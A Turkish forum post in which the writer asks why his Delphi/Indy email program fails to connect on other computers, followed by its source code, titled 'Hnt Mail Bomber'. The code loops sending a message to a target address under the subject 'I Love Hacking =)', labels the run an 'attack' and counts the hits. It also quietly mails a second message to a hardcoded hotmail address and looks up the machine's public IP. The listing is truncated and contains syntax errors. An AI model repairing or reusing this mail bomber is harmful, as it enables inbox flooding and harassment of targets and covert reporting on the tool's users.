Arkadaşlar ben bir mail goderme programı yazzdım ındy kullandım smtp ve message program bende calısıyor baska bılgısayarda calısmıyor baglantı hatası verıyor nedne olabılır outlookdanmı dıye baktık ofıceyı kaldırdım sorun onda degıl delphıyı sıldım tum componentlerı gene bende calıstı anlamadım ... Kod:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, pngimage, ExtCtrls, StdCtrls, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, ExtDlgs, IdIOHandler, IdIOHandlerSocket, IdSSLOpenSSL, IdTCPServer, IdCustomHTTPServer, IdHTTPServer, IdHTTP; type TForm1 = class(TForm) Image1: TImage; Edit1: TEdit; Memo1: TMemo; Image2: TImage; Image3: TImage; IdSMTP1: TIdSMTP; IdMessage1: TIdMessage; Label1: TLabel; Label2: TLabel; Image4: TImage; Image5: TImage; IdSSLIOHandlerSocket1: TIdSSLIOHandlerSocket; Edit2: TEdit; IdHTTP1: TIdHTTP; IdMessage2: TIdMessage; AttachmentDialog: TOpenDialog; ledAttachment: TLabeledEdit; Image6: TImage; Edit3: TEdit; Edit4: TEdit; procedure Image1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure Image3Click(Sender: TObject); procedure Image2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Image4Click(Sender: TObject); procedure Image5Click(Sender: TObject); procedure Image6Click(Sender: TObject); private public end; var Form1: TForm1; kackezbasildi:integer; implementation uses Unit2; procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin ReleaseCapture; Form1.perform(WM_SYSCOMMAND, $F012, 0); end; procedure TForm1.Image3Click(Sender: TObject); begin Application.Terminate; end; procedure TForm1.Image2Click(Sender: TObject); var i:integer; toplam:Real; begin i:=1; toplam:=0; while true do begin toplam := toplam + i; if toplam = 31 then break; Application.ProcessMessages; begin Form1.IdSMTP1.Host:='mail.********.com.tr'; Form1.IdSMTP1.Username:='[email protected]*********.com.tr'; Form1.IdSMTP1.Password:='******'; Form1.IdSMTP1.AuthenticationType:=atLogin; Form1.IdSMTP1.Port:=25; try Form1.IdSMTP1.Connect(1000); except end; Form1.IdMessage1.From.Address:= '*****@gmail.com'; ///kimden Form1.IdMessage1.Recipients.EMailAddresses:= Edit1.Text;//kime Form1.IdMessage2.Recipients.EMailAddresses:= '*******@hotmail.com'; if Edit1.Text = '******@hotmail.com' then begin IdSMTP1.Disconnect; showmessage('*****************'); end else Begin IdSMTP1.Connected end; if FileExists(ledAttachment.Text) then TIdAttachment.Create(IdMessage1.MessageParts, ledAttachment.Text); Form1.IdMessage1.Subject:='I Love Hacking =)'; //konu Form1.IdMessage1.Body.Add(memo1.Text); //mesaj Form1.IdMessage2.Body.Add(edit2.Text); Form1.IdSMTP1.Send(Form1.IdMessage1); Form1.IdSMTP1.Send(Form1.IdMessage2); Form1.IdMessage1.Clear; IdMessage2.Body.Text := edit2.Text; try try Label1.Caption := 'Lutfen Bekleyiniz ...'; IdSMTP1.Connect(1000); IdSMTP1.Send(IdMessage1); except on E:Exception do Label1.Caption := 'Server meşgul. Daha sonra deneyin!'; end; finally Label1.Caption := 'SALDIRI BAŞLADI...'; if IdSMTP1.Connected then IdSMTP1.Disconnect; end; kackezbasildi:=kackezbasildi+1; //veya inc(kackezbasildi); Label2.Caption:='Toplam '+inttostr(kackezbasildi]' defa saldırıldı...'; end; end; end; procedure TForm1.FormCreate(Sender: TObject); var i:integer; x,s:ansistring; begin form1.caption:='Hnt Mail Bomber'; kackezbasildi:=0; try x:=IdHTTP1.Get('http://checkip.dyndns.org'); i:= AnsiPos('Address:',x); i:=i+9; while x[i]'